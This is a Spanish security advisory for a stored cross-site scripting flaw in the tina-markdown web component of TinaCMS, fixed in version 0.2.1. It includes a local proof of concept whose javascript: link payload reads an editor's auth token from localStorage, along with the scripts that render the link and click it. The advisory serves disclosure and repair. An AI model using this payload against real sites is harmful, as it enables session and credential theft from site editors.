Alta

@tinacms/web-components: `tina-markdown` escribe URLs de enlaces de texto enriquecido en `href` sin validar el esquema, permitiendo XSS almacenado

  • Publicada: 09.10.2026
  • Actualizado: 11.10.2026 10:30

Resumen

<tina-markdown> procesa un AST de texto enriquecido en el DOM y, para los nodos a, asigna la URL del nodo directamente al href del enlace sin verificar el esquema. Un enlace creado en el CMS como javascript:… se renderiza como un enlace javascript: activo, por lo que un visitante que haga clic en él ejecutará un script proporcionado por el atacante en el origen del sitio. Todos los demás renderizadores del repositorio ya sanean estas URL; este no lo hace.

Detalles

El sumidero no validado:

packages/@tinacms/web-components/src/tina-markdown.js:67-69
  if (node.type === 'html' || node.type === 'html_inline') {
    return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true });
  }
packages/@tinacms/web-components/src/tina-markdown.js:75    if (node.url && node.type === 'a') el.href = node.url;
packages/@tinacms/web-components/src/tina-markdown.js:76    if (node.url && node.type === 'img') el.src = node.url;

node.url proviene del atributo content que el sitio completa desde la API de contenido de TinaCMS (:169-176), es decir, cualquier cosa que un autor de contenido haya escrito en un campo de texto enriquecido. La llamada a DOMPurify en :68 solo gestiona valores de nodos de HTML sin procesar y retorna antes de la rama de enlaces, por lo que nunca inspecciona node.url. La línea 75 es una asignación directa de propiedad: sin analizador HTML ni saneador. El shadow root mode: 'open' (:164-167) no proporciona aislamiento de scripts.

La protección existente en los renderizadores equivalentes:

packages/@tinacms/mdx/src/sanitize-url.ts:10          allowedSchemes = ['http','https','mailto','tel','xref']
packages/tinacms/src/rich-text/index.tsx:335            <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/index.tsx:322            <img src={sanitizeUrl(child.url)} .../>
packages/tinacms/src/rich-text/static.tsx:254           <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/static.tsx:242           <img src={sanitizeUrl(child.url)} .../>
packages/@tinacms/astro/src/LinkNode.astro:19           <a href={sanitizeHref(node.url)}>
packages/@tinacms/astro/src/ImageNode.astro:16          <img src={sanitizeImageSrc(node.url)} .../>

tina-markdown.js:75 es el único sumidero de enlaces de texto enriquecido en el repositorio que lo omite: seis de siete aplican saneamiento.

Que esto es un descuido y no algo intencionado se evidencia en el registro de cambios de 0.2.0, donde se indica el objetivo de "matching the components prop on the React and Astro renderers" al tiempo que se añade DOMPurify para nodos html, mientras que packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96 solo comprueba que se renderice un enlace https://example.com, sin cubrir casos de validación de esquema.

Habilitado de forma predeterminada: customElements.define('tina-markdown', TinaMarkdown) se ejecuta en el ámbito del módulo (:179); importar el punto de entrada publicado completa la configuración, sin objeto de opciones ni ajuste de saneamiento.

Corrección sugerida: reutilizar la exportación de subruta existente sin dependencias en lugar de añadir una tercera implementación:

js
import { sanitizeUrl } from '@tinacms/mdx/sanitize-url';
if (node.url && node.type === 'a') el.href = sanitizeUrl(node.url);
if (node.url && node.type === 'img') el.src = sanitizeUrl(node.url);

Variante con la misma causa raíz y solución: :76 (img.src). Una URL javascript: no se ejecuta desde img.src, por lo que no se califica aquí, pero la línea tampoco incluye validación, razón por la cual @tinacms/astro incluye un sanitizeImageSrc independiente.

PoC

Seguro, local y no destructivo. Un servidor de bucle invertido actúa como un sitio público que renderiza texto enriquecido del CMS. La página carga tina-markdown.js byte a byte desde el checkout (empaquetado con su dependencia declarada dompurify) y expone también la función sanitizeUrl del propio repositorio para verificar la misma entrada frente a la protección canónica. Ningún tráfico sale de la máquina; la carga útil solo escribe una variable local en la página.

Entorno utilizado: Linux, Node v22.23.1, Google Chrome (/usr/bin/google-chrome) controlado mediante playwright@1.49.0.

Configuración

bash
git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD

mkdir -p /tmp/tina-tm/site && cd /tmp/tina-tm
npm init -y >/dev/null
npm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0

cp "$REPO/packages/@tinacms/web-components/src/tina-markdown.js" ./tina-markdown.js
cp "$REPO/packages/@tinacms/mdx/src/sanitize-url.ts"             ./sanitize-url.ts

entry.js:

js
import './tina-markdown.js';                       // registers <tina-markdown>
import { sanitizeUrl } from './sanitize-url.ts';   // the canonical guard, for the control
window.__sanitizeUrl = sanitizeUrl;

site/index.html: el AST corresponde a lo devuelto por @tinacms/graphql para la fuente markdown [click me](javascript:…):

html
<!doctype html><html><head><title>public site rendering CMS rich-text</title></head>
<body>
<h1>Site page</h1>
<div id="host"></div>
<script type="module" src="/bundle.js"></script>
<script type="module">
  const ast = {
    type: 'root',
    children: [
      { type: 'p', children: [
        { type: 'a',
          url: "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
          children: [{ type: 'text', text: 'click me' }] }
      ]}
    ]
  };
  // Stand-in for a signed-in editor's stored TinaCMS credential. The real key and
  // value are written by packages/tinacms/src/internalClient/authProvider.ts:117.
  localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN');
  const el = document.createElement('tina-markdown');
  el.setAttribute('content', JSON.stringify(ast));
  document.getElementById('host').appendChild(el);
  window.__ready = true;
</script>
</body></html>

run.cjs:

js
const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');
const PORT=8811, DIR=path.join(__dirname,'site');
const srv=http.createServer((req,res)=>{const p=req.url==='/'?'/index.html':req.url.split('?')[0];
 const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}
 res.writeHead(200,{'content-type':p.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});
 res.end(fs.readFileSync(f));});
(async()=>{await new Promise(r=>srv.listen(PORT,'127.0.0.1',r));
 const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});
 const page=await browser.newPage();
 await page.goto(`http://127.0.0.1:${PORT}/`);
 await page.waitForFunction(()=>window.__ready===true); await page.waitForTimeout(300);
 const rendered=await page.evaluate(()=>{const a=document.querySelector('tina-markdown').shadowRoot.querySelector('a');
   return {hrefAttr:a&&a.getAttribute('href')};});
 await page.evaluate(()=>document.querySelector('tina-markdown').shadowRoot.querySelector('a').click());
 await page.waitForTimeout(500);
 const pwned=await page.evaluate(()=>window.__pwned||null);
 const control=await page.evaluate(()=>window.__sanitizeUrl("javascript:window.__pwned = document.domain"));
 console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null,
   capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2));
 await browser.close(); srv.close();})();

Ejecución

bash
cd /tmp/tina-tm
npx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts
node run.cjs

Salida observada (capturada textualmente)

js
{
  "renderedAnchorHref": "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
  "scriptExecutedOnClick": true,
  "capturedByPayload": "127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN",
  "control_sanitizeUrl_output": ""
}

Salida vulnerable esperada: renderedAnchorHref es la cadena javascript: suministrada por el atacante sin cambios (sin validación de esquema en el sumidero), scriptExecutedOnClick es true, y capturedByPayload contiene el dominio de la página junto con el valor obtenido de localStorage['tinacms-auth'] (el script se ejecutó en el origen del sitio con acceso total de lectura al almacenamiento de dicho origen). Todo se cumplió.

Control: control_sanitizeUrl_output es "". El componente sanitizeUrl del repositorio, ejecutado en el mismo entorno de navegador con la misma clase de entrada, rechaza el esquema. Esto coincide exactamente con lo realizado por packages/tinacms/src/rich-text/index.tsx:335 y packages/@tinacms/astro/src/LinkNode.astro:19 para el mismo AST, lo que aísla el defecto en la omisión de la llamada y no en la entrada o el entorno de prueba.

Segundo control, interno al mismo archivo: un nodo html con <a href="javascript:alert(1)">x</a> es eliminado por la llamada a DOMPurify en :68, por lo que la misma carga útil entregada como HTML sin procesar se bloquea, mientras que entregada como un nodo de enlace no lo hace.

Limpieza

bash
rm -rf /tmp/tina-tm

La PoC se ejecutó de nuevo tras redactar este informe; el JSON anterior corresponde a esa ejecución.

Impacto

Vulnerabilidad de Cross-Site Scripting almacenado mediante un esquema de URL no validado en un atributo de enlace. Un usuario cuya única capacidad sea editar contenido puede lograr la ejecución de scripts en las sesiones de navegador de cualquier visitante dentro del origen del sitio. Dado que la arquitectura documentada de TinaCMS sirve la administración desde el mismo origen (public/admin/) y almacena el token de edición en localStorage bajo tinacms-auth (packages/tinacms/src/auth/authenticate.ts:5, escrito en packages/tinacms/src/internalClient/authProvider.ts:117), un visitante que sea editor o administrador y haga clic en el enlace expondrá dicha credencial, tal como lee la PoC.

Afectado: cualquier sitio que procese texto enriquecido de TinaCMS a través de <tina-markdown>. Dicho componente existe específicamente para sitios que no usan React, es decir, despliegues que no disponen del renderizador saneado de React en tinacms.

Créditos

  • Thai Son Dinh de VinSOC Labs (R&D)

Qué hacer

Actualice @tinacms/web-components a la versión 0.2.1 o superior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm @tinacms/web-components < 0.2.1 0.2.1

Referencias

Puntuación CVSS 7.6/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Debilidad (CWE)
CWE-79, CWE-83
Plataforma
npm
Paquete
@tinacms/web-components
Publicada
09.10.2026
Actualizado
11.10.2026 10:30

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-c42q-qvc3-j6vg - CC BY 4.0

Historial de vulnerabilidades: @tinacms/web-components

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Esta es la única vulnerabilidad conocida de este paquete.

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.